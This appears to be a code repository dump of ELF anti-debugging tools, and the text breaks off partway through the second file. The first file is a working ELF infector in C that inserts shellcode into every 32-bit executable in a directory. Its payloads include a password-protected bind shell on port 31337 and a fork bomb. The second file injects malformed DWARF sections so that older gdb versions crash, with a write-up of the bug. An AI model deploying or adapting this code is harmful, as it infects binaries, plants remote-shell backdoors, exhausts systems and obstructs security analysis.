├── ELFAntiDebuggingTools ├── ELF_data_infector.c ├── gdb_751_elf_shield.c └── ida_63_elf_shield.c └── README.md /ELFAntiDebuggingTools/ELF_data_infector.c: -------------------------------------------------------------------------------- 1 | /* 2 | elf_infector.c 3 | 4 | ELF DATA INFECTION based on Silvio Cesare's Algorithm: 5 | * Patch the insertion code (parasite) to jump to the entry point 6 | (original) 7 | * Locate the data segment 8 | * Modify the entry point of the ELF header to point to the new 9 | code (p_vaddr + p_memsz) 10 | * Increase p_filesz to account for the new code and .bss 11 | * Increase p_memsz to account for the new code 12 | * Find the length of the .bss section (p_memsz - p_filesz) 13 | * For each phdr who's segment is after the insertion 14 | * increase p_offset to reflect the new position after insertion 15 | * For each shdr who's section resides after the insertion 16 | * Increase sh_offset to account for the new code 17 | * Physically insert the new code into the file 18 | 19 | nitr0us 20 | nitrousenador .at. gmail .dot. com 21 | 22 | Mexico 23 | */ 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | /* 36 | * SOURCE: elf_write_parasite.S 37 | * 38 | * write() and extra c0de for ELF infection purposes by nitr0us 39 | */ 40 | char write_test[] = 41 | //
42 | "\x9c" // pushf 43 | "\x60" // pusha 44 | "\xeb\x18" // jmp 1c 45 | // 46 | "\x59" // pop %ecx 47 | "\x31\xc0" // xor %eax,%eax 48 | "\x31\xdb" // xor %ebx,%ebx 49 | "\x31\xd2" // xor %edx,%edx 50 | "\xb0\x04" // mov $0x4,%al 51 | "\xfe\xc3" // inc %bl 52 | "\xb2\x19" // mov $0x19,%dl 53 | "\xcd\x80" // int $0x80 54 | "\x61" // popa 55 | "\x9d" // popf 56 | "\xbd\xed\xac\xef\x0d" // mov $0xdefaced,%ebp 57 | "\xff\xe5" // jmp *%ebp 58 | // 59 | "\xe8\xe3\xff\xff\xff" // call 4 60 | // 61 | "nitr0us PARASITE C0D3 ;)" // .ascii "nitr0us PARASITE C0D3 ;)\n" 62 | "\x0a"; 63 | 64 | /* 65 | * SOURCE: elf_forkauthbind_parasite.S 66 | * 67 | * fork() and extra c0de for ELF infection purposes by nitr0us 68 | * linux-x86-authportbind by Gotfault Security 69 | * nitr0us modz: 70 | * PORT = 31337 71 | * PASSWORD = n33tr0u5 72 | */ 73 | char forkauthbind[] = 74 | //
75 | "\x9c" // pushf 76 | "\x60" // pusha 77 | "\x31\xc0" // xor %eax,%eax 78 | "\x83\xc0\x02" // add $0x2,%eax 79 | "\xcd\x80" // int $0x80 80 | "\x85\xc0" // test %eax,%eax 81 | "\x0f\x85\xac\x00\x00\x00" // jne bd 82 | "\x6a\x66" // push $0x66 83 | "\x58" // pop %eax 84 | "\x6a\x01" // push $0x1 85 | "\x5b" // pop %ebx 86 | "\x99" // cltd 87 | "\x52" // push %edx 88 | "\x53" // push %ebx 89 | "\x6a\x02" // push $0x2 90 | "\x89\xe1" // mov %esp,%ecx 91 | "\xcd\x80" // int $0x80 92 | "\x52" // push %edx 93 | "\x66\x68\x7a\x69" // pushw $0x697a 94 | "\x66\x6a\x02" // pushw $0x2 95 | "\x89\xe1" // mov %esp,%ecx 96 | "\x6a\x10" // push $0x10 97 | "\x51" // push %ecx 98 | "\x50" // push %eax 99 | "\x89\xe1" // mov %esp,%ecx 100 | "\x89\xc6" // mov %eax,%esi 101 | "\x43" // inc %ebx 102 | "\xb0\x66" // mov $0x66,%al 103 | "\xcd\x80" // int $0x80 104 | "\xb0\x66" // mov $0x66,%al 105 | "\xd1\xe3" // shl %ebx 106 | "\xcd\x80" // int $0x80 107 | "\x52" // push %edx 108 | "\x52" // push %edx 109 | "\x56" // push %esi 110 | "\x89\xe1" // mov %esp,%ecx 111 | "\x43" // inc %ebx 112 | "\xb0\x66" // mov $0x66,%al 113 | "\xcd\x80" // int $0x80 114 | "\x96" // xchg %eax,%esi 115 | "\x52" // push %edx 116 | "\x68\x72\x64\x3a\x20" // push $0x203a6472 117 | "\x68\x73\x73\x77\x6f" // push $0x6f777373 118 | "\x66\x68\x50\x61" // pushw $0x6150 119 | "\x89\xe7" // mov %esp,%edi 120 | "\x6a\x0a" // push $0xa 121 | "\x57" // push %edi 122 | "\x56" // push %esi 123 | "\x89\xe1" // mov %esp,%ecx 124 | "\xb3\x09" // mov $0x9,%bl 125 | "\xb0\x66" // mov $0x66,%al 126 | "\xcd\x80" // int $0x80 127 | "\x52" // push %edx 128 | "\x6a\x08" // push $0x8 129 | "\x8d\x4c\x24\x08" // lea 0x8(%esp),%ecx 130 | "\x51" // push %ecx 131 | "\x56" // push %esi 132 | "\x89\xe1" // mov %esp,%ecx 133 | "\xb3\x0a" // mov $0xa,%bl 134 | "\xb0\x66" // mov $0x66,%al 135 | "\xcd\x80" // int $0x80 136 | "\x87\xf3" // xchg %esi,%ebx 137 | "\x52" // push %edx 138 | "\x68\x72\x30\x75\x35" // push $0x35753072 139 | "\x68\x6e\x33\x33\x74" // push $0x7433336e 140 | "\x89\xe7" // mov %esp,%edi 141 | "\x8d\x74\x24\x1c" // lea 0x1c(%esp),%esi 142 | "\x89\xd1" // mov %edx,%ecx 143 | "\x80\xc1\x08" // add $0x8,%cl 144 | "\xfc" // cld 145 | "\xf3\xa6" // repz cmpsb %es 146 | "\x74\x04" // je 97 147 | "\xf7\xf0" // div %eax 148 | "\xcd\x80" // int $0x80 149 | // 150 | "\x6a\x02" // push $0x2 151 | "\x59" // pop %ecx 152 | // 153 | "\xb0\x3f" // mov $0x3f,%al 154 | "\xcd\x80" // int $0x80 155 | "\x49" // dec %ecx 156 | "\x79\xf9" // jns 9a 157 | "\x6a\x0b" // push $0xb 158 | "\x58" // pop %eax 159 | "\x52" // push %edx 160 | "\x68\x2f\x2f\x73\x68" // push $0x68732f2f 161 | "\x68\x2f\x62\x69\x6e" // push $0x6e69622f 162 | "\x89\xe3" // mov %esp,%ebx 163 | "\x52" // push %edx 164 | "\x53" // push %ebx 165 | "\x89\xe1" // mov %esp,%ecx 166 | "\xcd\x80" // int $0x80 167 | "\x31\xc0" // xor %eax,%eax 168 | "\xfe\xc0" // inc %al 169 | "\xcd\x80" // int $0x80 170 | // 171 | "\x61" // popa 172 | "\x9d" // popf 173 | "\xbd\xed\xac\xef\x0d" // mov $0xdefaced,%ebp 174 | "\xff\xe5"; // jmp *%ebp 175 | 176 | /* 177 | * fork() bomb 178 | */ 179 | char forkbomb[] = 180 | //
181 | "\x9c" // pushf 182 | "\x60" // pusha 183 | "\x31\xc0" // xor %eax,%eax 184 | "\x83\xc0\x02" // add $0x2,%eax 185 | "\xcd\x80" // int $0x80 186 | "\x85\xc0" // test %eax,%eax 187 | "\x75\x08" // jne 15 188 | "\x31\xc0" // xor %eax,%eax 189 | "\xb0\x02" // mov $0x2,%al 190 | // 191 | "\xcd\x80" // int $0x80 192 | "\xeb\xfc" // jmp 11 193 | // 194 | "\x61" // popa 195 | "\x9d" // popf 196 | "\xbd\xed\xac\xef\x0d" // mov $0xdefaced,%ebp 197 | "\xff\xe5"; // jmp *%ebp 198 | 199 | char parasite[256]; 200 | int parlen, par_entry_off, verbose = 0; 201 | 202 | extern int alphasort(); 203 | int selector(const struct dirent *); 204 | int elf_identification(int); 205 | int infect(const char *, int); 206 | 207 | int main(int argc, char **argv) 208 | { 209 | int k, nfiles, npayload; 210 | struct dirent **dir; 211 | 212 | if(argc < 3){ 213 | fprintf(stderr, "Usage: %s [parasite_type] [-v (verbose)]\n", argv[0]); 214 | fprintf(stderr, "Parasites types:\n"); 215 | fprintf(stderr, "\t1\twrite(\"nitr0us PARASITE C0D3 ;)\\n\")\n"); 216 | fprintf(stderr, "\t2\tfork() + portbind(31337) + auth(\"Password: n33tr0u5\")\n"); 217 | fprintf(stderr, "\t3\tfork() bomb !\n"); 218 | exit(1); 219 | } 220 | 221 | npayload = atoi(argv[1]); 222 | 223 | if(npayload == 1){ 224 | parlen = sizeof(write_test); 225 | memcpy(parasite, write_test, parlen); 226 | par_entry_off = 22; 227 | 228 | } else if(npayload == 2){ 229 | parlen = sizeof(forkauthbind); 230 | memcpy(parasite, forkauthbind, parlen); 231 | par_entry_off = 192; 232 | } else if(npayload == 3){ 233 | parlen = sizeof(forkbomb); 234 | memcpy(parasite, forkbomb, parlen); 235 | par_entry_off = 24; 236 | } else{ 237 | fprintf(stderr, "Invalid parasite type assh0le!\n"); 238 | exit(0xdead); 239 | } 240 | 241 | if(argv[3]) 242 | if(!strcmp(argv[3], "-v")) 243 | verbose = 1; 244 | 245 | /* Infect a single file */ 246 | if(strcmp(argv[2], ".")){ 247 | printf("\n\nInfecting %s:\n", argv[2]); 248 | if(!infect(argv[2], npayload)) 249 | printf("%s Infection\t[FAILED]\n", argv[2]); 250 | else 251 | printf("%s Infection\t[OK]\n", argv[2]); 252 | 253 | return 0; 254 | } 255 | 256 | if((nfiles = scandir(".", &dir, selector, alphasort)) == -1){ 257 | perror("scandir"); 258 | exit(0xdead); 259 | } 260 | 261 | if(nfiles < 2){ 262 | fprintf(stderr, "No executable ELF files found\n"); 263 | exit(-1); 264 | } 265 | 266 | printf("Ready to infect %d executable ELF files(ET_EXEC)", nfiles - 1); 267 | 268 | for(k = 0; k < nfiles; k++){ 269 | /* Anti self infection */ 270 | if(strstr(argv[0], dir[k]->d_name)) 271 | continue; 272 | 273 | printf("\n\nInfecting %s:\n", dir[k]->d_name); 274 | if(!infect(dir[k]->d_name, npayload)) 275 | printf("%s Infection\t[FAILED]\n", dir[k]->d_name); 276 | else 277 | printf("%s Infection\t[OK]\n", dir[k]->d_name); 278 | 279 | sleep(1); 280 | } 281 | 282 | return 0; 283 | } 284 | 285 | int selector(const struct dirent *filentry){ 286 | Elf32_Ehdr hdr; 287 | int fd; 288 | 289 | if(!strcmp(filentry->d_name, ".") || !strcmp(filentry->d_name, "..")) 290 | return 0; 291 | 292 | if((fd = open(filentry->d_name, O_RDONLY)) == -1){ 293 | perror("selector: open"); 294 | exit(-1); 295 | } 296 | 297 | if(!elf_identification(fd)) 298 | return 0; 299 | 300 | lseek(fd, 0, SEEK_SET); 301 | read(fd, &hdr, sizeof(hdr)); 302 | 303 | if(hdr.e_type != ET_EXEC) 304 | return 0; 305 | 306 | close(fd); 307 | 308 | return 1; 309 | } 310 | 311 | int infect(const char *name, int payload) 312 | { 313 | char *elfptr, zero = 0; 314 | int fd, k, paroffset, bsslen, afterdata = 0, tmp; 315 | struct stat statinfo; 316 | Elf32_Ehdr *header; 317 | Elf32_Shdr *section; 318 | Elf32_Phdr *program; 319 | 320 | if((fd = open(name, O_RDWR)) == -1){ 321 | perror("open"); 322 | exit(-1); 323 | } 324 | 325 | if(fstat(fd, &statinfo) == -1){ 326 | perror("stat"); 327 | close(fd); 328 | exit(-1); 329 | } 330 | 331 | if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){ 332 | perror("mmap"); 333 | close(fd); 334 | exit(-1); 335 | } 336 | 337 | close(fd); 338 | 339 | header = (Elf32_Ehdr *) elfptr; 340 | 341 | /* PATCHING THE PARASITE WITH THE ORIGINAL ENTRYPOINT */ 342 | if(verbose){ 343 | printf("--------------------------------------------------------------------\n"); 344 | printf("[+] Host st_size\t=\t%d\n", statinfo.st_size); 345 | printf("[+] Original entryp0int\t=\t0x%.8x\n", header->e_entry); 346 | printf("[+] Patching parasite with the original entryp0int at offset %d ...\n", par_entry_off); 347 | printf("--------------------------------------------------------------------\n\n"); 348 | } 349 | *(int *)¶site[par_entry_off] = header->e_entry; 350 | 351 | /* LOCATE THE DATA SEGMENT */ 352 | program = (Elf32_Phdr *) (elfptr + header->e_phoff); 353 | for(k = 0; k < header->e_phnum; k++, program++) 354 | if(program->p_type != PT_DYNAMIC) 355 | if(program->p_type == PT_LOAD && program->p_offset){ 356 | if(verbose){ 357 | printf("[DATA Segment info]\n"); 358 | printf("DATA->p_offset\t=\t%d\n", program->p_offset); 359 | printf("DATA->p_vaddr\t=\t0x%.8x\n", program->p_vaddr); 360 | printf("DATA->p_paddr\t=\t0x%.8x\n", program->p_paddr); 361 | printf("DATA->p_filesz\t=\t%d\n", program->p_filesz); 362 | printf("DATA->p_memsz\t=\t%d\n\n", program->p_memsz); 363 | } 364 | 365 | /* MODIFY THE ENTRYPOINT TO POINT TO PARASITE'S CODE */ 366 | header->e_entry = program->p_vaddr + program->p_memsz; 367 | 368 | /* PARASITE'S OFFSET (PHISICALLY) */ 369 | paroffset = program->p_offset + program->p_filesz; 370 | 371 | /* FIND THE LENGTH OF THE BSS */ 372 | /* Remember, memsz must be greater than filesz 'cause the uninitialized data occupies no space in the phile-system */ 373 | bsslen = program->p_memsz - program->p_filesz; 374 | 375 | break; 376 | } 377 | 378 | /* For each phdr who's segment is after the insertion 379 | * increase p_offset to reflect the new position after insertion */ 380 | program = (Elf32_Phdr *) (elfptr + header->e_phoff); 381 | for(k = 0; k < header->e_phnum; k++, program++) 382 | if(program->p_type != PT_DYNAMIC) 383 | if(afterdata){ 384 | program->p_offset += parlen + bsslen; 385 | } else if(program->p_type == PT_LOAD && program->p_offset){ 386 | program->p_filesz += parlen + bsslen; 387 | program->p_memsz += parlen + bsslen; 388 | 389 | if(verbose){ 390 | printf("[NEW DATA Segment info]\n"); 391 | printf("NEWDATA->p_filesz\t=\t%d\n", program->p_filesz); 392 | printf("NEWDATA->p_memsz\t=\t%d\n\n", program->p_memsz); 393 | } 394 | 395 | afterdata++; 396 | } 397 | 398 | /* For each shdr who's section resides after the insertion 399 | * Increase sh_offset to account for the new code */ 400 | section = (Elf32_Shdr *) (elfptr + header->e_shoff); 401 | for(k = 0; k < header->e_shnum; k++, section++) 402 | if(section->sh_offset >= paroffset) 403 | section->sh_offset += parlen + bsslen; 404 | 405 | /* UPDATE THE ELF HEADER */ 406 | if(header->e_phoff >= paroffset) 407 | header->e_phoff += parlen + bsslen; 408 | if(header->e_shoff >= paroffset) 409 | header->e_shoff += parlen + bsslen; 410 | 411 | if(msync(NULL, 0, MS_SYNC) == -1) 412 | perror("msync"); 413 | 414 | /* PHYSICALLY INSERT THE PARASITE INTO THE FILE */ 415 | if((tmp = creat("parasite.tmp", statinfo.st_mode)) == -1){ 416 | perror("creat"); 417 | exit(-1); 418 | } 419 | 420 | if(write(tmp, elfptr, paroffset) == -1){ 421 | perror("write"); 422 | exit(-1); 423 | } 424 | 425 | if(verbose){ 426 | printf("--------------------------------------------------------------------\n"); 427 | printf("[-] New entryp0int\t=\t0x%.8x\n", header->e_entry); 428 | 429 | printf("[-] Filling the BSS with %d 0's at offset %d ...\n", bsslen, lseek(tmp, 0, SEEK_CUR)); 430 | } 431 | 432 | for(k = 0; k < bsslen; k++) 433 | write(tmp, &zero, 1); 434 | 435 | if(verbose) 436 | printf("[-] Injecting Parasite's c0de (%d bytes)\n", parlen); 437 | 438 | if(write(tmp, parasite, parlen) == -1){ 439 | perror("write"); 440 | exit(-1); 441 | } 442 | 443 | /* Copy the rest of the original file */ 444 | if(write(tmp, elfptr + paroffset, statinfo.st_size - paroffset) == -1){ 445 | perror("write"); 446 | exit(-1); 447 | } 448 | 449 | close(tmp); 450 | 451 | if(rename("parasite.tmp", name) == -1){ 452 | perror("rename"); 453 | exit(-1); 454 | } 455 | 456 | if(stat(name, &statinfo) == -1){ 457 | perror("stat"); 458 | close(fd); 459 | exit(-1); 460 | } 461 | 462 | if(verbose){ 463 | printf("[-] NEW Host st_size\t=\t%d\n", statinfo.st_size); 464 | printf("--------------------------------------------------------------------\n"); 465 | } 466 | 467 | munmap(elfptr, 0); 468 | } 469 | 470 | int elf_identification(int fd) 471 | { 472 | Elf32_Ehdr header; 473 | 474 | if(read(fd, &header, sizeof(header)) == -1){ 475 | perror("elf_identification: read"); 476 | return 0; 477 | } 478 | 479 | /* magic number verification */ 480 | if(header.e_ident[EI_MAG0] != ELFMAG0 || 481 | header.e_ident[EI_MAG1] != ELFMAG1 || 482 | header.e_ident[EI_MAG2] != ELFMAG2 || 483 | header.e_ident[EI_MAG3] != ELFMAG3) 484 | return 0; 485 | 486 | /* 32-bit class verification */ 487 | if(header.e_ident[EI_CLASS] != ELFCLASS32) 488 | return 0; 489 | 490 | /* endianess verification */ 491 | if(header.e_ident[EI_DATA] != ELFDATA2LSB) 492 | return 0; 493 | 494 | /* elf version verification */ 495 | if(header.e_ident[EI_VERSION] != EV_CURRENT) 496 | return 0; 497 | 498 | return 1; 499 | } 500 | -------------------------------------------------------------------------------- /ELFAntiDebuggingTools/gdb_751_elf_shield.c: -------------------------------------------------------------------------------- 1 | /* 2 | * 3 | * gdb (GNU debugger) <= 7.5.1 (crash due a NULL pointer dereference) 4 | * ELF anti-debugging/reversing patcher 5 | * 6 | * - nitr0us [ http://twitter.com/nitr0usmx ] 7 | * 8 | * Tested under: 9 | * GNU gdb 7.5.1 (OpenBSD 5.2 i386 [Compiled from sources]) 10 | * GNU gdb 7.5 (OpenBSD 5.2 i386 [Compiled from sources]) 11 | * GNU gdb 7.5 (Ubuntu Server 12.04 [Compiled from sources]) 12 | * GNU gdb 7.4.1 (OpenBSD 5.2 i386) 13 | * GNU gdb 7.4-2012.04 (Ubuntu Server 12.04) 14 | * GNU gdb 7.2-50.el6 (CentOS Linux) 15 | * GNU gdb 6.7.1 (Gentoo Linux) 16 | * 17 | * Bug found using Frixyon fuzzer (my ELF file format fuzzer still in development) 18 | * 19 | * Timeline: 20 | * 12/11/2012 The bug was found on GNU gdb 7.5 21 | * 19/11/2012 The bug was reported through the official GNU gdb.s bug tracker: 22 | http://sourceware.org/bugzilla/show_bug.cgi?id=14855 23 | * 10/12/2012 Retested with the latest release (7.5.1), which still has the bug 24 | * 12/12/2012 The status on the tracker is still "NEW" 25 | * 26 | **************** TECHNICAL DETAILS *********************** 27 | In gdb-7.5.1/gdb/dwarf2read.c is the following data structure: 28 | struct line_header 29 | { 30 | ... 31 | unsigned int num_include_dirs, include_dirs_size; 32 | char **include_dirs; 33 | ... 34 | struct file_entry 35 | { 36 | char *name; 37 | unsigned int dir_index; 38 | unsigned int mod_time; 39 | unsigned int length; 40 | ... 41 | } *file_names; 42 | } 43 | 44 | The problem exists when trying to open a malformed ELF that contains a 45 | file_entry.dir_index > 0 and char **include_dirs pointing to NULL. 46 | 47 | After patching an ELF file with this code, the following happens: 48 | 49 | (gdb) r -q ./evil_exploit 50 | 51 | Program received signal SIGSEGV, Segmentation fault. 52 | 0x081e87bd in psymtab_include_file_name (lh=0x8594420, file_index=0, 53 | pst=0x8583650, comp_dir=0x858362c "/home/nitr0us") at dwarf2read.c:13969 54 | 13970 dir_name = lh->include_dirs[fe.dir_index - 1]; 55 | (gdb) p/x fe 56 | $1 = {name = 0x8583718, dir_index = 0xf, mod_time = 0x0, length = 0x0, 57 | included_p = 0x1, symtab = 0x0} 58 | (gdb) p lh->include_dirs 59 | $2 = (char **) 0x0 60 | (gdb) x/i $eip 61 | => 0x81e87bd : mov (%eax),%eax 62 | (gdb) i r $eax 63 | eax 0x38 56 64 | 65 | The root cause of the problem is that there's no validation to 66 | verify if include_dirs is different from NULL before referencing it. 67 | 68 | ********************************************************** 69 | * 70 | * [Compilation] $ gcc gdb_751_elf_shield.c -o gdb_751_elf_shield -Wall 71 | * 72 | * http://chatsubo-labs.blogspot.com 73 | * http://www.brainoverflow.org 74 | * 75 | */ 76 | 77 | #include 78 | #include 79 | #include 80 | #include 81 | #include 82 | #include 83 | #include 84 | #include 85 | 86 | #if defined(__OpenBSD__) || defined(__NetBSD__) || defined(__FreeBSD__) 87 | #include 88 | #else 89 | #include 90 | #endif 91 | 92 | /* 93 | * The next payload is based on the 'struct line_header' 94 | * defined in gdb-7.5.1/gdb/dwarf2read.c 95 | * 96 | * The fields are put in little-endian (LSB) 97 | */ 98 | const char dwarf_line_header[] = { 99 | 0x32, 0x00, 0x00, 0x00, // unsigned int total_length; 100 | 0x02, 0x00, // unsigned short version; 101 | 0x1c, 0x00, 0x00, 0x00, // unsigned int header_length; 102 | 0x01, // unsigned char minimum_instruction_length; 103 | 0x01, // unsigned char maximum_ops_per_instruction; 104 | 0xfb, // int line_base; in runtime = 0xfffffffb, however, in file system it's only one byte o_O? 105 | 0x0e, // unsigned char line_range; 106 | 0x0d, // unsigned char opcode_base; 107 | 'N' , '1' , '7' , 'R' , '0' , // Useless to trigger the bug 108 | 0xDE, 0xAD, 0xBA, 0xBE, // Useless to trigger the bug 109 | 0x31, 0x33, 0x70, // Useless to trigger the bug 110 | 0x00, // (KILLER BYTE) char **include_dirs; This will expand to a NULL pointer 0x00000000 111 | 'C' , 'R' , '4' , '5' , 'H' , 0x00, // file_entry->name 112 | 0x31, // (KILLER BYTE) file_entry->dir_index; dwarf_line_header->include_dirs[file_entry.dir_index - 1]; SIGSEGV ! 113 | 0x33, // file_entry->mod_time; 114 | 0x70, // file_entry->length; 115 | 0x00, 0x00, 0x05, 0x02, // Couldn't detect where exactly are loaded in memory at runtime 116 | 0xd4, 0x83, 0x04, 0x08, // . . . 117 | 0x15, 0x91, 0xbc, 0x59, // . . . 118 | 0x02, 0x02, 0x00, 0x01, // . . . 119 | 0x01, // Couldn't detect where exactly are loaded in memory at runtime 120 | }; 121 | 122 | /* 123 | * The next ELF sections are necessary to crash gdb. 124 | * They were taken from a normal ELF file compiled with -ggdb 125 | * $objdump -s -j .debug_xxx ./a.out 126 | */ 127 | char debug_info[] = { 128 | 0x87, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x3b, 0x00, 0x00, 0x00, 129 | 0x01, 0x00, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0xd4, 0x83, 0x04, 0x08, 0xf0, 0x83, 0x04, 130 | 0x08, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04, 0x07, 0x2e, 0x00, 0x00, 0x00, 0x02, 0x01, 0x08, 0x47, 131 | 0x00, 0x00, 0x00, 0x02, 0x02, 0x07, 0x07, 0x00, 0x00, 0x00, 0x02, 0x04, 0x07, 0x29, 0x00, 0x00, 132 | 0x00, 0x02, 0x01, 0x06, 0x49, 0x00, 0x00, 0x00, 0x02, 0x02, 0x05, 0x1a, 0x00, 0x00, 0x00, 0x03, 133 | 0x04, 0x05, 0x69, 0x6e, 0x74, 0x00, 0x02, 0x08, 0x05, 0x68, 0x00, 0x00, 0x00, 0x02, 0x08, 0x07, 134 | 0x24, 0x00, 0x00, 0x00, 0x02, 0x04, 0x05, 0x6d, 0x00, 0x00, 0x00, 0x02, 0x01, 0x06, 0x50, 0x00, 135 | 0x00, 0x00, 0x04, 0x01, 0x63, 0x00, 0x00, 0x00, 0x01, 0x03, 0x4f, 0x00, 0x00, 0x00, 0xd4, 0x83, 136 | 0x04, 0x08, 0xf0, 0x83, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00 137 | }; 138 | 139 | char debug_abbrev[] = { 140 | 0x01, 0x11, 0x01, 0x25, 0x0e, 0x13, 0x0b, 0x03, 0x0e, 0x1b, 0x0e, 0x11, 0x01, 0x12, 0x01, 0x10, 141 | 0x06, 0x00, 0x00, 0x02, 0x24, 0x00, 0x0b, 0x0b, 0x3e, 0x0b, 0x03, 0x0e, 0x00, 0x00, 0x03, 0x24, 142 | 0x00, 0x0b, 0x0b, 0x3e, 0x0b, 0x03, 0x08, 0x00, 0x00, 0x04, 0x2e, 0x00, 0x3f, 0x0c, 0x03, 0x0e, 143 | 0x3a, 0x0b, 0x3b, 0x0b, 0x49, 0x13, 0x11, 0x01, 0x12, 0x01, 0x40, 0x06, 0x00, 0x00, 0x00 144 | }; 145 | 146 | char debug_str[] = { 147 | 0x65, 0x76, 0x69, 0x6c, 0x2e, 0x63, 0x00, 0x73, 0x68, 0x6f, 0x72, 0x74, 0x20, 0x75, 0x6e, 0x73, 148 | 0x69, 0x67, 0x6e, 0x65, 0x64, 0x20, 0x69, 0x6e, 0x74, 0x00, 0x73, 0x68, 0x6f, 0x72, 0x74, 0x20, 149 | 0x69, 0x6e, 0x74, 0x00, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x75, 0x6e, 150 | 0x73, 0x69, 0x67, 0x6e, 0x65, 0x64, 0x20, 0x69, 0x6e, 0x74, 0x00, 0x47, 0x4e, 0x55, 0x20, 0x43, 151 | 0x20, 0x34, 0x2e, 0x36, 0x2e, 0x33, 0x00, 0x75, 0x6e, 0x73, 0x69, 0x67, 0x6e, 0x65, 0x64, 0x20, 152 | 0x63, 0x68, 0x61, 0x72, 0x00, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x6e, 0x69, 0x74, 0x72, 0x30, 153 | 0x75, 0x73, 0x00, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x6c, 0x6f, 0x6e, 154 | 0x67, 0x20, 0x69, 0x6e, 0x74, 0x00 155 | }; 156 | 157 | /* Global vars & structs that'll used later */ 158 | Elf32_Ehdr *header; 159 | Elf32_Shdr *sht; // Section Header Table 160 | Elf32_Phdr *pht; // Program Header Table 161 | Elf32_Shdr *shstrtab_section; 162 | Elf32_Word s_debug_line_size = 0; 163 | Elf32_Word shstrtab_size = 0; 164 | Elf32_Off shstrtab_offset = 0; 165 | Elf32_Off debug_line_offset = 0; 166 | struct stat statinfo; // We'll use only st_size and st_mode 167 | char *elfptr; 168 | int fd, tmpfd, k; 169 | 170 | int isELF(int); 171 | 172 | Elf32_Off findDebugLineSection() 173 | { 174 | for(k = 0; k < header->e_shnum; k++, sht++) 175 | if(strcmp(elfptr + shstrtab_offset + sht->sh_name, ".debug_line") == 0){ 176 | s_debug_line_size = sht->sh_size; 177 | 178 | return sht->sh_offset; 179 | } 180 | 181 | return 0; 182 | } 183 | 184 | /* 185 | * This function will add the section '.debug_line' 186 | * with the payload inside. Also, it's necessary to 187 | * update some ELF metadata as well as to include some 188 | * extra Elf32_Shdr structures in the middle of the file. 189 | * 190 | * I solved this problem doing the following steps: 191 | * 192 | * 1.- Patch the .shstrtab (and .strtab) sections size, so 193 | * the names (strings at the end of the file) of the new appended 194 | * sections will be inside that sections (gdb checks for the offsets). 195 | * 196 | * 2.- Create 4 new Elf32_Shdr structures (.debug_line, .debug_info, 197 | * .debug_abbrev and .debug_str) which are necessary to crash gdb: 198 | * ->sh_name is a relative offset to shstrtab_section->sh_offset 199 | * So, it'll be pointing to statinfo.st_size - shstrtab_section->sh_offset 200 | * (it means that at the end of the file there will be the 201 | * string '.debug_line' (null terminated)). The same calculations for the 202 | * other 3 new sections added. 203 | * ->sh_offset is the absolute offset in file system, so it'll be 204 | * pointing to the end of the file. 205 | * ->sh_size will be obviously sizeof() each section content (payloads) 206 | * 207 | * 3.- Calculate the insertion point (offset in file system): 208 | * header->e_shoff + header->e_shnum * sizeof(Elf32_Shdr) 209 | * 210 | * 4.- Four Elf32_Shdr structured will be appended at the end of the 211 | * Section Header Table, so it means that for each program header 212 | * who's segment is after the insertion, its offset in file system has to 213 | * be updated to reflect the new position after insertion: 214 | * pht->p_offset += sizeof(Elf32_Shdr) * n_sections_to_inject; 215 | * Also update the header->e_phoff (in case it's after the injection point). 216 | * 217 | * 5.- Update the ELF header to account for 4 extra section headers: 218 | * ->header->e_shnum += n_sections_to_inject; 219 | * 220 | * 6.- Synchronize the ELF in file system with its corresponding 221 | * pointer in memory to reflect the previous changes (msync()). 222 | * Also close the file descriptor. 223 | * 224 | * 7.- Physically insert the Elf32_Shdr structures at the end 225 | * of the Section Header Table (insertion point calculated in the step 3). 226 | * After that, copy the rest of the file. 227 | 228 | * 8.- Insert the names of the new sections (strings '.debug_line', '.debug_info', 229 | * '.debug_abbrev' and '.debug_str') followed by its corresponding null byte. 230 | * 231 | * 9.- Finally, insert the payloads (dwarf_line_header[], debug_info[], debug_str[] 232 | * and debug_abbrev[]) 233 | * 234 | */ 235 | int addDebugLineSection() 236 | { 237 | unsigned int n_sections_to_inject = 4; // .debug_line (bogus data), .debug_info, .debug_abbrev and .debug_str 238 | unsigned int n_sections_names_len = strlen(".debug_str") + 1 239 | + strlen(".debug_info") + 1 240 | + strlen(".debug_line") + 1 241 | + strlen(".debug_abbrev") + 1; 242 | 243 | // Step 1 244 | shstrtab_section->sh_size = statinfo.st_size - shstrtab_offset + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len; 245 | printf("[+] Patching the size of \".shstrtab\" section to 0x%.4x\n", shstrtab_section->sh_size); 246 | 247 | sht = (Elf32_Shdr *) (elfptr + header->e_shoff); 248 | for(k = 0; k < header->e_shnum; k++, sht++) 249 | if(strcmp(elfptr + shstrtab_offset + sht->sh_name, ".strtab") == 0){ 250 | sht->sh_size = shstrtab_section->sh_size; 251 | printf("[+] Patching the size of \".strtab\" section to 0x%.4x as well (gdb also check this size)\n\n", sht->sh_size); 252 | break; 253 | } 254 | 255 | // Step 2 256 | Elf32_Shdr debug_line_sechdr, debug_info_sechdr, debug_abbrev_sechdr, debug_str_sechdr; 257 | 258 | debug_line_sechdr.sh_type = debug_info_sechdr.sh_type = debug_abbrev_sechdr.sh_type = debug_str_sechdr.sh_type = 0x0001; 259 | debug_line_sechdr.sh_flags = debug_info_sechdr.sh_flags = debug_abbrev_sechdr.sh_flags = 0x0000; 260 | debug_str_sechdr.sh_flags = 0x0030; 261 | debug_line_sechdr.sh_addr = debug_info_sechdr.sh_addr = debug_abbrev_sechdr.sh_addr = debug_str_sechdr.sh_addr = 0x00000000; 262 | debug_line_sechdr.sh_link = debug_info_sechdr.sh_link = debug_abbrev_sechdr.sh_link = debug_str_sechdr.sh_link = 0x0000; 263 | debug_line_sechdr.sh_info = 